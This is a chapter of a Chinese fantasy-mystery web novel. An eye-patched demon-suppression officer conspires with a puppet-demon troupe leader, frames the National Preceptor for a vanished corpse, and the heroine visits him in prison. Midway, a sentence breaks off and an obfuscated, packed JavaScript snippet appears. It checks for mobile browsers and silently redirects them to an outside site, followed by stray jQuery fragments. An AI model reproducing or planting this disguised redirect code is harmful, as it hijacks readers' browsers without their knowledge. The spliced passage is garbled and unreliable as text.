明月楼,二楼雅间。
透过半扇雕花木窗,听得台下锣鼓震天响,咿咿呀呀的戏腔余音绕梁。
窗边一男人独坐,歪头假寐,手指轻叩覆在左眼的铜制眼罩,微阖的右眼缓缓掀起一条缝,目光沉沉投向下方。
台下老生悲恸而哭,他端起茶盏轻摇几下,仰头饮尽杯中茶,唇角勾起一抹嘲讽。
“靳司使大驾光临,有失远迎。”
惠班主整了整衣襟推门而入,脸上霎时堆起谄笑,抬抬手示意小厮们出去。
靳方夷懒洋洋收回目光,并未理会惠班主。
惠晓见他不咸不淡的模样,并不气恼,笑着坐在靳方夷一旁的檀木椅上。
“照靳司使所言,皆已按计划而行。”她手中轻摇的团扇顿住,扭头看向靳方夷的左脸,冰冷的眼罩遮掩住他眼底的情绪,无法看穿他的内心,“靳司使何时可兑现承诺?”
“急什么?”靳方夷微微仰头,扫过台上围剿忠臣的戏码,冷笑道,“好戏······将将开场。”
惠班主捋过耳畔的一缕秀发,靠在椅背上瞥向靳方夷,阴阳怪气道,“靳司使倒是不急,把自己摘得干净,我可是暴露了身份。”
“你们人总说,君子一言驷马难追。”惠班主轻哼一声,未敢发作,只得躲在背后斜眼剜他,“莫要让我失望,靳司使。”
靳方夷转了转古玉扳指,并未接惠班主的话茬,而是扭过头看向她轻蔑一笑。
“你们傀儡妖一族,可知出了你这么个叛徒?”
惠班主看懂了他眼底的轻视,也不气恼,只是用扇骨敲了敲鼻头,反问道。
“怎么,想像人一般过活就是叛徒了吗?”
她们傀儡妖一族终生寄身于戏班之中,她自小便渴望为人却又无法成人,直至前段时间这位镇妖司使突然找到她,告诉她可以助她褪去妖身,成为真正的人。
只是有一点,她要帮他做一件事。
那便是杀人。
惠晓始终看不透这位镇妖司使的意图,看似朗润温和,实则奸诈阴邪,她想要的东西,不见得那么容易到手。
她也算在这世俗浸淫多年,算不上油滑却也不傻,方才靳方夷那般分明未将她的事放在心上。
若不出她所料,待她毫无利用价值后,她便是靳方夷最先弃如敝履的棋子。
思及至此,惠班主长吸一口气,打定主意说道。
“若靳司使未能达成我愿,我自有办法让你身败名裂。”她附身凑近靳方夷低声而语,“堂堂镇妖司使竟与妖物勾结,沈如璋一案也少不了靳司使的助推,桩桩件件,若闹到满城风雨,不知镇妖司使可否承受得来?”
靳方夷看着逼近的惠班主,紧盯着她斜向一旁的双眼,唇边扬起一抹大权在握的笑意,却丝毫不达眼底。
良久,他绕过惠班主起身朝窗边走去,看着台上浓妆艳抹的戏子,仍旧答非所问。
“你若要灭口我不做纠缠,但温堇禾的命得给我留着。”他眯了眯眼,抬手抚过眉梢,指尖顺着眼罩而下,眼底迸出浓烈的恨意与玩味,“她还有用。”
惠班主撇撇嘴,起身走到靳方夷身旁,抬手敲着红木栏杆轻哼小曲儿,低头看向戏台摇摇头说。
“想来真是好笑,人觊觎妖的法力,妖却想成为人。”她倚靠在窗边,看向靳方夷眼底满是疑惑,“只是靳司使,我很好奇。若你不想成为妖,你这么做究竟想要什么?”
靳方夷笑笑并未答话,只是垂眸望向戏台,彼时曲子已接近尾声。
今日只有一阙曲目,便是他亲点的《一捧雪》,他记得戏中小生最终含冤而死,死前大雪飘零,那是六月飞雪。
果然,一曲终了,戏台上洋洋洒洒飘落白雪,此折就此落幕。
他仰头饮尽杯中的茶,眸光逐渐冷了下去。
彼时楼外大雨瓢泼,靳方夷唤随行小厮赶来马车,自己走到屋檐下,抬头望向阴雨连绵的天,轻声道。
“去按察司。”
随行小厮不解,撑过伞来扶他上马车。
“大人,今日您不是休沐吗?”
“今日热闹的很,怎能错过呢?”靳方夷钻入马车,掸了掸溅在衣摆上的雨水,哼起了小调。
待温堇禾与裴因赶到按察司时,殓房内已乱成一锅粥。
本该安置徐青屏尸体的尸床上,如今却空荡荡一片,仿若凭空消失一般。
四周遍地狼藉,十几个镇妖司吏将殓房团团围住,靳方夷立于尸床旁,见二人赶来,朝他们微微颔首,咧嘴一笑。
温堇禾与裴因对视一眼,暗道不好。被挤到一旁的余旧挪到二人身边,对着裴因耳语了几句,方才得知徐青屏的尸体一早便不见了,而留在现场的证据唯一指向的人便是当朝国师,萧如琢。
“靳司使,如此大张旗鼓,不知道的还以为此处是你镇妖司呢。”
裴因扫过一圈面如阎罗的镇妖司吏,走到靳方夷面前,笑意不达眼底。
“还望裴大人见谅,今早路过按察司,碰巧听闻徐青屏尸体失踪一事,奈何裴大人今日休沐,下官便想着顺路来看看,莫要误了案子。”
靳方夷后退一步,恭敬作揖,话语间却满是挑衅。
“靳司使当真是心细如发。”裴因轻哼一声,转头扫过徐青屏的尸床,敏锐地发觉床头处有块断掌的痕迹,试探着问道,“那靳司使可有何发现?”
靳方夷勾唇一笑,走到床头指了指那块焦黑的断掌说道。
“裴大人请看,这半截掌痕可有何不妥?”
裴因凑上前一望,只见那块掌印深深嵌入床头,印痕一圈焦黑,明晃晃出现在此处,越发显得刻意。
“看样子像是故意而为之。”他隐约觉得上面浮动着一层幽蓝符箓,又因不懂得这些术法,话并未说死,而是留了余地,生怕落入靳方夷的圈套。
他抬头朝温堇禾递了个眼神,温堇禾心下明了,紧接着走上前来。
“温姑娘来得正好,符箓一术姑娘精通非常,且来看看是何符箓。”
靳方夷见她上前,脸上立刻浮现温吞地笑,可落入温堇禾的眼中却像毒蛇捕猎前耐心的等候。
温堇禾视若无睹走过他身旁,只扫了一眼掌痕便震在了原地。
此等符箓蕴藏的法力深不可测,这才使得徐青屏的尸体悄无声息被掳走。
可奇怪的就在此处,这符箓唯有持有国师印玺之人方可使出。
她试探着触摸尚未消失的符箓,幽幽的气息萦绕在温堇禾指尖,她可以笃定,这符箓绝不是师父的手笔。
温堇禾抬头看了眼裴因,微不可察皱了下眉。
她不知靳方夷是如何仿造出的国师印玺,可如今已被逼到绝路,就算明眼看出这掌痕是故意而为之,附着在上面的符箓却是无法反驳的铁证。
师父这次免不了牢狱之灾。
她僵硬地扯了下嘴角,看向密密麻麻围成圈的镇妖司吏,仰头直视靳方夷,冷声道。
“既然靳大人早已了然于胸,那我多说何益呢?”
说罢她头也不回离开了殓房,行至门前时,她抬头望天,浪潮般的乌云压了过来,天地连成一片,豆大的雨滴砸下来,潮湿的水汽罩过她全身,胸口莫名憋闷。
“待会儿圣上或许会召我入宫,你先回裴府,若有何事我会让余旧给你传话。”裴因走到她身后,望向她紧绷的侧脸,抬手搭上了她的肩,轻轻摩挲,“放心吧,我在呢。”
果不其然,还未走出按察司,宫里便遣人来召裴因入宫。
温堇禾目送他的马车消失在大雨中,她撑着伞扭头望向殓房中的人群。
齐刷刷的黑衣堵在房中,房内荫蔽并无光照进,一排排死人困在那一方格中,连带着殓房中的活人也变得不似活人了。
靳方夷的目光始终停留在温堇禾的身上,他踩过满屋的狼藉,走到门前朝她咧开嘴角,露出一排森森白牙。
.
直至申时,温堇禾才在裴府等来了余旧。
余旧递给她一件狱卒的衣物,带着她来到了诏狱。
前往诏狱途中,余旧将裴因的话悉数告知于她。
原来,裴因入宫时恰逢京兆尹在御前禀报,说近些时日多有人莫名失踪,坊间传闻有妖邪作祟,欲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259731|177712||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想黄袍加身,取而代之。
圣上得知此事后勃然大怒,加之徐青屏一事,便以萧如琢渎职之名降罪于他,暂时扣押诏狱。
至于如何发落,眼下还不得而知。
裴因守在诏狱门前来接温堇禾,带着她一路深入狱中,嘱咐她不可停留太久,眼下正是狱卒换班之际,防守较为薄弱,最多只有半盏茶的间隙。
说完这些恰好来到萧如琢的狱前,狱中鼠虫成堆,潮气附着在腐朽的狱门上,隐隐有股怪味。
而萧如琢端坐于牢中,仍旧萧萧肃肃,爽朗清举。
“师父,你还好吗?”
见到萧如琢后,温堇禾扑到门前,上下打量了一番,见他并无外伤,暗暗松了口气。
“无妨。”萧如琢摇摇头,朝温堇禾笑了下,随后对裴因微微颔首。
“长话短说。”温堇禾见萧如琢的模样,心知万事尚在他掌握之中,便不再担忧,“师父,你可知傀儡妖的命门?”
“怨念。”
“怨念?”温堇禾不解。
“你可知傀儡妖为何寄生于戏院?”萧如琢不疾不徐问道。
温堇禾低头沉思,心中隐隐有了猜测。
“因为人。”萧如琢接着说,“他们喜欢有人气儿的地方,靠吸食人的七情六欲而生,这才生出了操控人心神的本事。”
“所以面对她时,切莫生出一丝一毫的杂念。”萧如琢一字一顿地说,“而若要彻底制服她······”
说到此处,萧如琢沉默一瞬,目光移向裴因,淡淡而道。
“裴大人,自有办法。”
温堇禾听后拧了下眉头,目光在二人身上流转,心头却骤然升起强烈的不安感。
他们何时如此默契?
刚想开口询问,就看到裴因猛地捂住胸口,闷哼一声,抬手紧抓住狱门的栏杆,脸皱成一团。
“怎么了?”温堇禾慌忙上前扶住他,声色焦急。
时间紧迫,裴因不愿多加耽搁,只能强撑着摆摆手,对温堇禾说。
“没多长时间了,你们聊,无需管我。”
温堇禾抬手覆上他的额头,替他拭去涔涔冷汗,她看向萧如琢,方想多说几句,却听得门外传来两三狱卒交谈之声,话堵在喉间只得作罢。
“我带他先走,师父你多保重。”温堇禾扭头朝萧如琢投去最后一眼,说罢便搀着裴因离去。
萧如琢看向二人依偎远去的背影,眼底闪过一瞬的落寞。
回到裴府后,温堇禾给裴因换好伤药便要走,捉拿傀儡妖一事不可再拖,她须得立刻前往明月楼。
“如今你伤势未愈,先好好将养。”她递给裴因几张符咒,嘱咐道,“倘若身体不适,就将这些符咒贴到伤口处,方可减轻些疼痛。”
“我和你一起。”裴因见温堇禾想要只身前去,忙攥住她的手,急声道。
温堇禾刚想反驳,恍惚间回想起狱中师父说过的话,正犹豫之际,她听到裴因笃定的声音。
“萧大人说过,只有我可以制服傀儡妖。”裴因一瞬不瞬地盯着温堇禾,目光诚恳,“我必须去,阿禾。”
“你一不会术法,二伤势未愈,你先告诉我如何制服?”温堇禾觉得好笑,忽而朝裴因俯身,双手撑在他两旁,紧盯着他目光灼灼,“你和师傅究竟有何事瞒着我?”
裴因眨眨眼,故作镇静,“你忘了,那把短剑上有萧大人的一缕精魄,那便是制服傀儡妖的法门。”
“那把破剑不是没用了?”温堇禾嗤笑。
“我曾找过萧大人,托他的福,修复好了。”裴因紧接着说道。
温堇禾气极反笑,她知道他在扯谎,看向他的眼神逐渐覆上了一层冷漠。
她厌恶这种感觉,厌恶所有人打着对她好的名义瞒着她的感觉。
师父如此,如今裴因也变成了这般。
温堇禾闭了闭眼,不愿再同裴因讲话,但她忽而感到一股温热握住自己的手。
她睁开双眸,恰好对上了裴因澄澈如水的眸光,望向她坚定而温和。
她听到他说,“我同你一起,阿禾。”